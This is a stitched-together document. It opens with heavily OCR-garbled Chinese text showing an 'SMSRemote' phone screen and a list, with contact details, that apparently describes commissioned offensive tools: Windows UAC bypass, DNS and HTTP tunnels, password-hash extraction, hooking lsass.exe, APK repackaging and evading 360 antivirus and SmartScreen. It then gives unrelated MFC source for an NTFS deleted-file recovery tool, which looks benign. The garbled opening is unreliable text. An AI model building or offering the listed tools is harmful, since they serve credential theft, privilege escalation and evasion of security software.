ASCHRIAS Y R AUBLINIS, TP R PR AU T-HL,  Bulis 542 15555215556, X HH
“TfHJE 15555215554, Mlili# ALK R4 “QN#duanxin” RIS FHE S, X HH N
R2IHAT, MBI 1 ALER, ZHEERE4KH 10086 1K

(@ 555621 1 e & sssaamese

SMSRemote

8 15555215554

1 15555215556  QN#duanxin

|| Me: QN#duanxin
Sent: 7:09AM

Type to compose

q|iw)le|[r]| t]y][u][T]|[o
a|ls|fallT g ki

DEL

<z 1| el v bl nlim| <

Reed

mY 123 . 4

K1
AKX EREE R T, 5 S SR Ak A S ThRE, A KK B
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ARG T 2013 AEHEHUHII ARG, BRI S HE th G 48 SRR L (B, RS AR R
ARG AN T T o 0 IR TR AT R ) B SR, PTIRARPEA {5 A : 675122680@0qg.com.
hadefence@gmail.com, ¥ QQ: 675122680, fffi A = WL, F2 MR R W 52 leha ik 3
e B s b R AT Y R Sl OG5 ORI 3 8o 5 7 SR i T

1.285% Windows UAC F45 PR PR 5]

HAWG, SR &aeE KIS X488 Windows UAC BUFR BRI SCEE (C 4071k
BRAM),

1) Windows UAC AR T, %Eik UAC #niE N RS Vs

2) Windows UAC AR T, #BEXNZR G532 K BRR 1 v o

2.DNS THil LT FE S B
PR
1) SIS T e R 2 A R S BT

2) AL S SCE H S AR SO, RO

3) #ARH DNS B, BEACRA ¢fs B

4) ffiH C 5k C++15 5, VC6 B VC2008 i iF I H I,

3. K Dl 1P Huhk R
R

D RGN E server I, —MIGOL N HIHEE R S5 AN 1), AR AEA P Al
AT, A LB il bk o XX ), B RE E REEAAR, RIEAR B A
Bedtigh, WICVEER S R IR T 142 il v B SE Lk

2) f#i C BY C++iB 5, VC6 B VC2008 & ik L H Sl .

a.FIH HTTP Bl B SE LR R SO
Wi :
HTTPTunnel &> C++JF R I TAEM LA 2 WEAT HTTP PEIEIE NI 2R . HTTP B
TE S FPAE HTTP Prisl)Z AT Socket SE IR FIHLI .
R
1) KA HTTPTunnel SEILZABL I8 R4 B R A 1) SO BT g
2) ARAE SR Hse AR SO R3O,
3) BRI HTTR IS, xR /s Al
4) 1] C By C++¥E75, VC6 B3 VC2008 % i 1. HL LI

5.328 Windows R4 7 B S 1K) Hash 1
PR
1) 3ZFF Windows XP/2003/2008/7/Vista;
2) BRULHUCAHLETA 1Y Hash fH,  GFE S0 7 i1
3) ¥ VC++2008 % ¥ T K405,
4) SR C++38, B WIS, TR R o1 R Zogh vl LA H D RE .

6.Web J5 555 142 IHF
L
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0T B s 5 FH sl R 48 DA M F 95 (1) WEB J5 5 B I UEAS &l B U 5 5 99 12k 2% 2%
JIREAE o
PR

1 fef% A 3)ul F e XIMECEE S R 405 & R R A URL, 41 Word Press. Joomla.
Drupal. Metinfo 455 H &l R4t

2) APPSR 2 1) URL, m] A 8hEl A e SOEFHRA T, A3hEl A e A8 & bl
24, XA SR 2R e B A 7 L

3) W] E BB S AR AR ) IR T T kA

4) Y hEe: BOIANTFIHIAKRING &, nTHE B EAH [ GOOGLE. BING %5482 4|
BT, FRRTHOE e 525 & UL B 3hMHCERE URL &ILS4L; BUIA 7 LA
KMk 2% Il i GOOGLE. BING 548 225 MU H bt DG FH - e o SRR ;- JF Lhix st
VUK 7 T PR I R DK 2, W 7 O admin, #RE ] H A 7 44, O abcd@abed.com,
T SR ) LB abed abed BAJ% abed abed123 Bk abed abed123456 45 i LK 2% 5

5) kg RATREMN 2 AR E Sk RS0 6 KRGz A It e 75 & URL g
J1s BITMRERSE, 56 URL £ 8 DL K 3 ] |1 e CIEE %

7.CMD FIa355E GHO U B A0k
R
1) {ECMD I, JG GUI FHif, [a4E 1) GHO SN 5 AN E s s
2) GHO SCEA XP. Win7 32/64 [t 45473 ;

3) IS XP. win7 32/64;

) BG4 GHO SCAFIIE LN (]34 J5Uh ISk —FE 15

5) JFRIEE VC,

8.Android T SEBH APK SCHH-HSE

PR
D GiEAmEs, AT LRI APK SCAFEAT RS ;
2) AR S A e B N AT AR 22BN FB1P) APK;
3) YR 1) APK R AR FE bR AR AL 5
4) fr3defi 360 AL B LM RSl % Tk,

9. R E MR
L
R SR MER IS SCrFe,  SEaln R EhEe.

R
1) ¥ FAT32 /NTFS /R4S
2) WSS FR. 45 LA TR 5545 IR
3) SARME ORI, Ehdn DoC. PDF %5 (ATiE);
4) f{H C Bt C++iE S, VC6 B VC2008 ik T LI, F/5nf LIEMm 21T FigiT,

10.Android WIFI Tether i35

i
WIFI Tether (FFJEIH ) BJ LALE ROOT i f¥) Android ¥ & FILZR M 4% (Mt & kA
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UL WikFi A0, TH S WIFI Tether SEIL AR, XHRAAHLEI P W24 5024750
M A7-fiti o

E23

2) AN 5 I AF i I AN E R SCEE, Hetn HTTP W7 i i HTTP.DAT;
3) EMXF HTTP Nt T HhEE, b /7 4 www.xx.com/abce.zip, #KALFREFA L HLREH
B abe.zip X

11.Windows7 | Hook API
PR

1) Ring3 NEI%] Isass.exe FEFEM CryptGenKey PRELHEA TR, BEEH CHIRECT, iR
[in] 381) 3 ST PRI A

2) SZHF 32 7 F1 64 £ Windows7;

3) ffiH] vC++2008 it LRSI, G F 7

4) SR C++38, B WIE, TR 2R 01 ok Zogh vl LA H D RE .

1255 T&RE
L
55— A NERERY, FUTTIURZNG, HEREASRE M SR, N BOFAT

PR

D Bz LARRIR, AR5 NERBINLES BT, AN SmartScreen #2751,

2) Windows UAC ‘L4 B fe i, TR H S 7 Jodern, RESRINAR S S H AL .

3) AT HABFE AR R TP R IR IR S LR

4) feseind 360 224 LS, RS Ry E L, FBRIRY @ S, Baoslidss,
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deleterecovery.clw
; CLW file contains information for the MFC ClassWizard



[General Info]

Version=1

LastClass=

LastTemplate=CDialog

NewFileInclude1=#include "stdafx.h"

NewFileInclude2=#include "deleterecovery.h"

LastPage=0



ClassCount=0



ResourceCount=0








deleterecovery.cpp


    
    
    deleterecovery.cpp
    
    


deleterecovery.cpp// deleterecovery.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "deleterecovery.h"
#include "NTFSDrive.h"
#include "MFTRecord.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#define PHYSICAL_DRIVE "\\\\.\\PhysicalDrive0"
typedef struct
{
    WORD    wCylinder;
    WORD    wHead;
    WORD    wSector;
    DWORD   dwNumSectors;
    WORD    wType;
    DWORD   dwRelativeSector;
    DWORD   dwNTRelativeSector;
    DWORD   dwBytesPerSector;

}DRIVEPACKET;

typedef struct
{
    char    driverlabel[256];
    DWORD   dwNTRelativeSector; 
}DRIVERINFO;

typedef struct
{
    BYTE    chBootInd;
    BYTE    chHead;
    BYTE    chSector;
    BYTE    chCylinder;
    BYTE    chType;
    BYTE    chLastHead;
    BYTE    chLastSector;
    BYTE    chLastCylinder;
    DWORD   dwRelativeSector;
    DWORD   dwNumberSectors;

}PARTITION;

#define PART_TABLE 0
#define BOOT_RECORD 1
#define EXTENDED_PART 2

#define PART_UNKNOWN 0x00       //Unknown.  
#define PART_DOS2_FAT 0x01      //12-bit FAT.  
#define PART_DOS3_FAT 0x04      //16-bit FAT. Partition smaller than 32MB.  
#define PART_EXTENDED 0x05      //Extended MS-DOS Partition.  
#define PART_DOS4_FAT 0x06      //16-bit FAT. Partition larger than or equal to 32MB.  
#define PART_DOS32 0x0B         //32-bit FAT. Partition up to 2047GB.  
#define PART_DOS32X 0x0C        //Same as PART_DOS32(0Bh), but uses Logical Block Address Int 13h extensions.  
#define PART_DOSX13 0x0E        //Same as PART_DOS4_FAT(06h), but uses Logical Block Address Int 13h extensions.  
#define PART_DOSX13X 0x0F       //Same as PART_EXTENDED(05h), but uses Logical Block Address Int 13h extensions.  
/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;
CNTFSDrive m_cNTFS;
using namespace std;
DRIVERINFO drinfototal[10];
int drtotalnum=0;
int ScanLogicalDrives()
{
    int i,nRet;
        int dindex=0;
    DWORD dwBytes;

    PARTITION *PartitionTbl;
    DRIVEPACKET stDrive;

    BYTE szSector[512];
    WORD wDrive =0;
    
    char szTmpStr[64];
    char szTxt[255];
    
    DWORD dwMainPrevRelSector =0;
    DWORD dwPrevRelSector =0;

    HANDLE hDrive = CreateFile(PHYSICAL_DRIVE,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
    if(hDrive == INVALID_HANDLE_VALUE)
        return GetLastError();

    nRet = ReadFile(hDrive,szSector,512,&dwBytes,0);
    if(!nRet)
        return GetLastError();

    dwPrevRelSector =0;
    dwMainPrevRelSector =0;

    PartitionTbl = (PARTITION*)(szSector+0x1BE);

    for(i=0; i<4; i++) /// scanning partitions in the physical disk
    {
        stDrive.wCylinder = PartitionTbl->chCylinder;
        stDrive.wHead = PartitionTbl->chHead;
        stDrive.wSector = PartitionTbl->chSector;
        stDrive.dwNumSectors = PartitionTbl->dwNumberSectors;
        stDrive.wType = ((PartitionTbl->chType == PART_EXTENDED) || (PartitionTbl->chType == PART_DOSX13X)) ? EXTENDED_PART:BOOT_RECORD;

        if((PartitionTbl->chType == PART_EXTENDED) || (PartitionTbl->chType == PART_DOSX13X))
        {
            dwMainPrevRelSector         = PartitionTbl->dwRelativeSector;
            stDrive.dwNTRelativeSector  = dwMainPrevRelSector;
        }
        else
        {
            stDrive.dwNTRelativeSector = dwMainPrevRelSector + PartitionTbl->dwRelativeSector;
        }

        if(stDrive.wType == EXTENDED_PART)
            break;

        if(PartitionTbl->chType == 0)
            break;

        switch(PartitionTbl->chType)
        {
        case PART_DOS2_FAT:
            strcpy(szTmpStr, "FAT12");
            break;
        case PART_DOSX13:
        case PART_DOS4_FAT:
        case PART_DOS3_FAT:
            strcpy(szTmpStr, "FAT16");
            break;
        case PART_DOS32X:
        case PART_DOS32:
            strcpy(szTmpStr, "FAT32");          //Normal FAT32
            break;
        case 7:
            strcpy(szTmpStr, "NTFS");   // NTFS , v r interested only on this
            break;
        default:
            strcpy(szTmpStr, "Unknown");
            break;
        }

        wsprintf(szTxt, "%s Drive %d", szTmpStr,wDrive);
                memcpy(drinfototal[dindex].driverlabel,szTxt,strlen(szTxt));
                drinfototal[dindex].dwNTRelativeSector=stDrive.dwNTRelativeSector;
                dindex++;
        //AddDrive(szTxt,&stDrive);
        PartitionTbl++;
        wDrive++;

    }

    if(i==4)
        return ERROR_SUCCESS;

    for(int LogiHard=0; LogiHard<50; LogiHard++) // scanning extended partitions
    {
        if(stDrive.wType == EXTENDED_PART)
        {
            LARGE_INTEGER n64Pos;

            n64Pos.QuadPart = ((LONGLONG) stDrive.dwNTRelativeSector) * 512;
            
            nRet = SetFilePointer(hDrive, n64Pos.LowPart,&n64Pos.HighPart, FILE_BEGIN);
            if(nRet == 0xffffffff)
                return GetLastError();;

            dwBytes = 0;

            nRet = ReadFile(hDrive, szSector, 512, (DWORD *) &dwBytes, NULL);
            if(!nRet)
                return GetLastError();

            if(dwBytes != 512)
                return ERROR_READ_FAULT;
            
            PartitionTbl = (PARTITION *) (szSector+0x1BE);

            for(i=0; i<4; i++)
            {
                stDrive.wCylinder = PartitionTbl->chCylinder;
                stDrive.wHead = PartitionTbl->chHead;
                stDrive.dwNumSectors = PartitionTbl->dwNumberSectors;
                stDrive.wSector = PartitionTbl->chSector;
                stDrive.dwRelativeSector = 0;
                stDrive.wType = ((PartitionTbl->chType == PART_EXTENDED) || (PartitionTbl->chType == PART_DOSX13X)) ? EXTENDED_PART:BOOT_RECORD;
                
                if((PartitionTbl->chType == PART_EXTENDED) || (PartitionTbl->chType == PART_DOSX13X))
                {
                    dwPrevRelSector = PartitionTbl->dwRelativeSector;
                    stDrive.dwNTRelativeSector = dwPrevRelSector + dwMainPrevRelSector;
                }
                else
                {
                    stDrive.dwNTRelativeSector = dwMainPrevRelSector + dwPrevRelSector + PartitionTbl->dwRelativeSector;
                }

                if(stDrive.wType == EXTENDED_PART)
                    break;

                if(PartitionTbl->chType == 0)
                    break;

                switch(PartitionTbl->chType)
                {
                case PART_DOS2_FAT:
                    strcpy(szTmpStr, "FAT12");
                    break;
                case PART_DOSX13:
                case PART_DOS4_FAT:
                case PART_DOS3_FAT:
                    strcpy(szTmpStr, "FAT16");
                    break;
                case PART_DOS32X:
                case PART_DOS32:
                    strcpy(szTmpStr, "FAT32");          //Normal FAT32
                    break;
                case 7:
                    strcpy(szTmpStr, "NTFS");
                    break;
                default:
                    strcpy(szTmpStr, "Unknown");
                    break;
                }
                wsprintf(szTxt, "%s Drive %d", szTmpStr, wDrive);
                memcpy(drinfototal[dindex].driverlabel,szTxt,strlen(szTxt));
                drinfototal[dindex].dwNTRelativeSector=stDrive.dwNTRelativeSector;
                dindex++;
                //AddDrive(szTxt,&stDrive);
                PartitionTbl++;
                wDrive++;
            }
            if(i==4)
                break;
        }
    }
    drtotalnum=dindex;
    CloseHandle(hDrive);
    return 0;
}
void recoveryfile(int fileindex)
{      
     //  AfxMessageBox("here");

       char szPath[_MAX_PATH];
    char szTmpPath[_MAX_PATH];
    char szBuff[32];
    int nIdxSelLst;
    int nRet;
    void *lpMsgBuf;
    BYTE *pData;
    DWORD dwBytes =0;
    DWORD dwLen;
      //  CNTFSDrive m_cNTFS;
    CNTFSDrive::ST_FILEINFO stFInfo;
        nIdxSelLst = fileindex;
        GetCurrentDirectory(_MAX_PATH,szTmpPath);
       nRet = m_cNTFS.Read_File(nIdxSelLst+30,pData,dwLen);
            if(nRet)                     
        {
            
            return;
        }
    nRet = m_cNTFS.GetFileDetail(nIdxSelLst+30,stFInfo);
        if(nRet)
        {
            
            return;
        }

        strcat(szTmpPath,"\\");
        strcat(szTmpPath,stFInfo.szFilename);
    
         HANDLE hNewFile = CreateFile(szTmpPath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,stFInfo.dwAttributes,0);
        if(nRet)
        {
            
            return;
        }
         nRet = WriteFile(hNewFile,pData,dwLen,&dwBytes,NULL);
        if(nRet)
        {
            
            return;
        }
                delete pData;
        CloseHandle(hNewFile);

}
int main(int argc, char* argv[], char* envp[])
{
    int nRetCode = 0;
    int jnum,drilabel;
         int fileindex;
         int label=0;
    // initialize MFC and print and error on failure
    if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    {
        // TODO: change error code to suit your needs
        cerr << _T("Fatal Error: MFC initialization failed") << endl;
        nRetCode = 1;
    }
    else
    {
        ScanLogicalDrives();
        if (argc==1){
            cout << "磁盘分区数目为："<< endl;
            for(jnum=0;(jnum<drtotalnum);jnum++)
            {
            
                 cout<<drinfototal[jnum].driverlabel<<endl;
                // cout<<drinfototal[jnum].dwNTRelativeSector<<endl;
            }
            goto end;
        }
    if(argc==2)
    {
        label=1;
        drilabel=atol(argv[1]);

    }
    if(argc==3) 
    {label=2;
        drilabel=atol(argv[1]);
        fileindex=atol(argv[2]);
    }
    //  AfxMessageBox(argv[1]);
      
        // TODO: code your application's behavior here.
                DRIVEPACKET *pDrive;    
            CNTFSDrive::ST_FILEINFO stFInfo;
    char szBuffer[255];
    DWORD dwDeleted = 0, dwBytes =0, i;
    int nRet;
    HTREEITEM hTreeItem;
        char *lpMsgBuf;
        HANDLE m_hDrive = CreateFile(PHYSICAL_DRIVE,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,NULL);
    m_cNTFS.SetDriveHandle(m_hDrive); // set the physical drive handle
    m_cNTFS.SetStartSector(drinfototal[drilabel].dwNTRelativeSector,512); // set the starting sector of the NTFS

     nRet = m_cNTFS.Initialize(); // initialize, ie. read all MFT in to the memory
    for(i=0;(i<0xFFFFFFFF);i++) // theoretical max file count is 0xFFFFFFFF
    {                               

        nRet =m_cNTFS.GetFileDetail(i+30,stFInfo); // get the file detail one by one 
        if((nRet == ERROR_NO_MORE_FILES)||(nRet == ERROR_INVALID_PARAMETER))
        
        {
            if(label==1) return 0;
            if(label==2) goto here;
        }


               
        

        memset(szBuffer,0,255);

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_READONLY)
            strcat(szBuffer,"R-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_HIDDEN)
            strcat(szBuffer,"H-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_SYSTEM)
            strcat(szBuffer,"S-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_DIRECTORY)
            strcat(szBuffer,"D-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_ARCHIVE)
            strcat(szBuffer,"A-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_ENCRYPTED)
            strcat(szBuffer,"E-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_NORMAL)
            strcat(szBuffer,"N-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_TEMPORARY)
            strcat(szBuffer,"T-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_SPARSE_FILE)
            strcat(szBuffer,"Sp-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_REPARSE_POINT)
            strcat(szBuffer,"ReSp-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_COMPRESSED)
            strcat(szBuffer,"C-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_OFFLINE)
            strcat(szBuffer,"O-");

        if(stFInfo.dwAttributes&FILE_ATTRIBUTE_NOT_CONTENT_INDEXED)
            strcat(szBuffer,"I-");

        if(stFInfo.dwAttributes&0x4000)
            strcat(szBuffer,"En-");  // if it is encrypted

        if(stFInfo.dwAttributes&0x10000000)
            strcat(szBuffer,"Dir-"); // if it is directory

        if(stFInfo.dwAttributes&0x10000000)
            strcat(szBuffer,"In-"); // if it is indexed

        szBuffer[strlen(szBuffer)-1] = 0;
        //pList->SetItemText(i,2,szBuffer);
                // cout << szBuffer<< endl;
    //  sprintf(szBuffer,"%d",i);
        //pList->SetItemText(i,1,szBuffer);
               //  cout << szBuffer<< endl;
    //  strcpy(szBuffer,"");
        if(stFInfo.bDeleted)
        {
            //dwDeleted++;
            
                        sprintf(szBuffer,"%d",i);
                        cout << szBuffer<< endl;
            cout << stFInfo.szFilename << endl;
        //  strcpy(szBuffer,"Yes");
        }

        //pList->SetItemText(i,3,szBuffer);
               // cout << szBuffer<< endl;
        //sprintf(szBuffer,"%u",stFInfo.n64Size);
        //pList->SetItemText(i,4,szBuffer);
               // cout << szBuffer<< endl;
              //  cout << "\n"<< endl;

        
    } 
           
        //CString strHello;
        //strHello.LoadString(IDS_HELLO);
    //  cout << argv[0] << endl;

    }
here:     
    recoveryfile(fileindex);
     
     cout << "恢复成功!" << endl;     
end:    
    return nRetCode;
}







deleterecovery.dsp
# Microsoft Developer Studio Project File - Name="deleterecovery" - Package Owner=<4>

# Microsoft Developer Studio Generated Build File, Format Version 6.00

# ** DO NOT EDIT **



# TARGTYPE "Win32 (x86) Console Application" 0x0103



CFG=deleterecovery - Win32 Debug

!MESSAGE This is not a valid makefile. To build this project using NMAKE,

!MESSAGE use the Export Makefile command and run

!MESSAGE 

!MESSAGE NMAKE /f "deleterecovery.mak".

!MESSAGE 

!MESSAGE You can specify a configuration when running NMAKE

!MESSAGE by defining the macro CFG on the command line. For example:

!MESSAGE 

!MESSAGE NMAKE /f "deleterecovery.mak" CFG="deleterecovery - Win32 Debug"

!MESSAGE 

!MESSAGE Possible choices for configuration are:

!MESSAGE 

!MESSAGE "deleterecovery - Win32 Release" (based on "Win32 (x86) Console Application")

!MESSAGE "deleterecovery - Win32 Debug" (based on "Win32 (x86) Console Application")

!MESSAGE 



# Begin Project

# PROP AllowPerConfigDependencies 0

# PROP Scc_ProjName ""

# PROP Scc_LocalPath ""

CPP=cl.exe

RSC=rc.exe



!IF  "$(CFG)" == "deleterecovery - Win32 Release"



# PROP BASE Use_MFC 2

# PROP BASE Use_Debug_Libraries 0

# PROP BASE Output_Dir "Release"

# PROP BASE Intermediate_Dir "Release"

# PROP BASE Target_Dir ""

# PROP Use_MFC 2

# PROP Use_Debug_Libraries 0

# PROP Output_Dir "Release"

# PROP Intermediate_Dir "Release"

# PROP Target_Dir ""

# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /D "_AFXDLL" /Yu"stdafx.h" /FD /c

# ADD CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /D "_AFXDLL" /Yu"stdafx.h" /FD /c

# ADD BASE RSC /l 0x804 /d "NDEBUG" /d "_AFXDLL"

# ADD RSC /l 0x804 /d "NDEBUG" /d "_AFXDLL"

BSC32=bscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386

# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386



!ELSEIF  "$(CFG)" == "deleterecovery - Win32 Debug"



# PROP BASE Use_MFC 2

# PROP BASE Use_Debug_Libraries 1

# PROP BASE Output_Dir "Debug"

# PROP BASE Intermediate_Dir "Debug"

# PROP BASE Target_Dir ""

# PROP Use_MFC 2

# PROP Use_Debug_Libraries 1

# PROP Output_Dir "Debug"

# PROP Intermediate_Dir "Debug"

# PROP Target_Dir ""

# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /D "_AFXDLL" /Yu"stdafx.h" /FD /GZ    /c

# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /D "_AFXDLL" /Yu"stdafx.h" /FD /GZ    /c

# ADD BASE RSC /l 0x804 /d "_DEBUG" /d "_AFXDLL"

# ADD RSC /l 0x804 /d "_DEBUG" /d "_AFXDLL"

BSC32=bscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept

# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept



!ENDIF 



# Begin Target



# Name "deleterecovery - Win32 Release"

# Name "deleterecovery - Win32 Debug"

# Begin Group "Source Files"



# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"

# Begin Source File



SOURCE=.\deleterecovery.cpp

# End Source File

# Begin Source File



SOURCE=.\deleterecovery.rc

# End Source File

# Begin Source File



SOURCE=.\MFTRecord.cpp

# End Source File

# Begin Source File



SOURCE=.\NTFSDrive.cpp

# End Source File

# Begin Source File



SOURCE=.\StdAfx.cpp

# ADD CPP /Yc"stdafx.h"

# End Source File

# End Group

# Begin Group "Header Files"



# PROP Default_Filter "h;hpp;hxx;hm;inl"

# Begin Source File



SOURCE=.\deleterecovery.h

# End Source File

# Begin Source File



SOURCE=.\MFTRecord.h

# End Source File

# Begin Source File



SOURCE=.\NTFSDrive.h

# End Source File

# Begin Source File



SOURCE=.\Resource.h

# End Source File

# Begin Source File



SOURCE=.\StdAfx.h

# End Source File

# End Group

# Begin Group "Resource Files"



# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"

# End Group

# Begin Source File



SOURCE=.\ReadMe.txt

# End Source File

# End Target

# End Project






deleterecovery.dsw
Microsoft Developer Studio Workspace File, Format Version 6.00

# 警告: 不能编辑或删除该工作区文件！



###############################################################################



Project: "deleterecovery"=.\deleterecovery.dsp - Package Owner=<4>



Package=<5>

{{{

}}}



Package=<4>

{{{

}}}



###############################################################################



Global:



Package=<5>

{{{

}}}



Package=<3>

{{{

}}}



###############################################################################








deleterecovery.h


#if !defined(AFX_DELETERECOVERY_H__E01662F3_FFC0_47A7_B61A_D26DFC21B787__INCLUDED_)

#define AFX_DELETERECOVERY_H__E01662F3_FFC0_47A7_B61A_D26DFC21B787__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000



#include "resource.h"





#endif // !defined(AFX_DELETERECOVERY_H__E01662F3_FFC0_47A7_B61A_D26DFC21B787__INCLUDED_)






deleterecovery.ncb



deleterecovery.opt



deleterecovery.plg




Build Log





--------------------Configuration: deleterecovery - Win32 Debug--------------------





Command Lines



Creating temporary file "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\RSP145.tmp" with contents

[

kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/deleterecovery.pdb" /debug /machine:I386 /out:"Debug/deleterecovery.exe" /pdbtype:sept 

.\Debug\deleterecovery.obj

.\Debug\MFTRecord.obj

.\Debug\NTFSDrive.obj

.\Debug\StdAfx.obj

.\Debug\deleterecovery.res

]

Creating command line "link.exe @C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\RSP145.tmp"

Output Window



Linking...







Results



deleterecovery.exe - 0 error(s), 0 warning(s)








deleterecovery.rc
//Microsoft Visual C++ generated resource script.

//

#include "resource.h"



#define APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////

//

// Generated from the TEXTINCLUDE 2 resource.

//

#include "afxres.h"



/////////////////////////////////////////////////////////////////////////////

#undef APSTUDIO_READONLY_SYMBOLS



#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)

#ifdef _WIN32

LANGUAGE 4, 2

#pragma code_page(936)

#endif //_WIN32



#ifdef APSTUDIO_INVOKED

/////////////////////////////////////////////////////////////////////////////

//

// TEXTINCLUDE

//



1 TEXTINCLUDE DISCARDABLE 

BEGIN

    "resource.h\0"

END



2 TEXTINCLUDE DISCARDABLE 

BEGIN

    "#include ""afxres.h""\r\n"

    "\0"

END



3 TEXTINCLUDE DISCARDABLE 

BEGIN

    "\r\n"

    "\0"

END



#endif    // APSTUDIO_INVOKED





/////////////////////////////////////////////////////////////////////////////

//

// String Table

//



STRINGTABLE DISCARDABLE 

BEGIN

    IDS_HELLO               "Hello from MFC!"

END



#endif

/////////////////////////////////////////////////////////////////////////////







#ifndef APSTUDIO_INVOKED

/////////////////////////////////////////////////////////////////////////////

//

// Generated from the TEXTINCLUDE 3 resource.

//





/////////////////////////////////////////////////////////////////////////////

#endif    // not APSTUDIO_INVOKED






MFTRecord.cpp


    
    
    MFTRecord.cpp
    
    


MFTRecord.cpp// MFTRecord.cpp: implementation of the CMFTRecord class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "MFTRecord.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CMFTRecord::CMFTRecord()
{
    m_hDrive = 0;

    m_dwMaxMFTRecSize = 1023; // usual size
    m_pMFTRecord = 0;
    m_dwCurPos = 0;

    m_puchFileData = 0; // collected file data buffer
    m_dwFileDataSz = 0; // file data size , ie. m_pchFileData buffer length

    memset(&m_attrStandard,0,sizeof(ATTR_STANDARD));
    memset(&m_attrFilename,0,sizeof(ATTR_FILENAME));

    m_bInUse = false;;
}

CMFTRecord::~CMFTRecord()
{
    if(m_puchFileData)
        delete m_puchFileData;
    m_puchFileData = 0;
    m_dwFileDataSz = 0;
}

// set the drive handle
void CMFTRecord::SetDriveHandle(HANDLE hDrive)
{
    m_hDrive = hDrive;
}

// set the detail
//  n64StartPos is the byte from the starting of the physical disk
//  dwRecSize is the record size in the MFT table
//  dwBytesPerCluster is the bytes per cluster
int CMFTRecord::SetRecordInfo(LONGLONG  n64StartPos, DWORD dwRecSize, DWORD dwBytesPerCluster)
{
    if(!dwRecSize)
        return ERROR_INVALID_PARAMETER;

    if(dwRecSize%2)
        return ERROR_INVALID_PARAMETER;

    if(!dwBytesPerCluster)
        return ERROR_INVALID_PARAMETER;

    if(dwBytesPerCluster%2)
        return ERROR_INVALID_PARAMETER;

    m_dwMaxMFTRecSize = dwRecSize;
    m_dwBytesPerCluster = dwBytesPerCluster;
    m_n64StartPos =  n64StartPos;
    return ERROR_SUCCESS;
}


/// puchMFTBuffer is the MFT record buffer itself (normally 1024 bytes)
//  dwLen is the MFT record buffer length
//  bExcludeData = if true the file data will not be extracted
//                 This is useful for only file browsing
int CMFTRecord::ExtractFile(BYTE *puchMFTBuffer, DWORD dwLen, bool bExcludeData)
{
    if(m_dwMaxMFTRecSize > dwLen)
        return ERROR_INVALID_PARAMETER;
    if(!puchMFTBuffer)
        return ERROR_INVALID_PARAMETER;

    NTFS_MFT_FILE   ntfsMFT;
    NTFS_ATTRIBUTE  ntfsAttr;

    BYTE *puchTmp = 0;
    BYTE *uchTmpData =0;
    DWORD dwTmpDataLen;
    int nRet;
    
    m_pMFTRecord = puchMFTBuffer;
    m_dwCurPos = 0;

    if(m_puchFileData)
        delete m_puchFileData;
    m_puchFileData = 0;
    m_dwFileDataSz = 0;

    // read the record header in MFT table
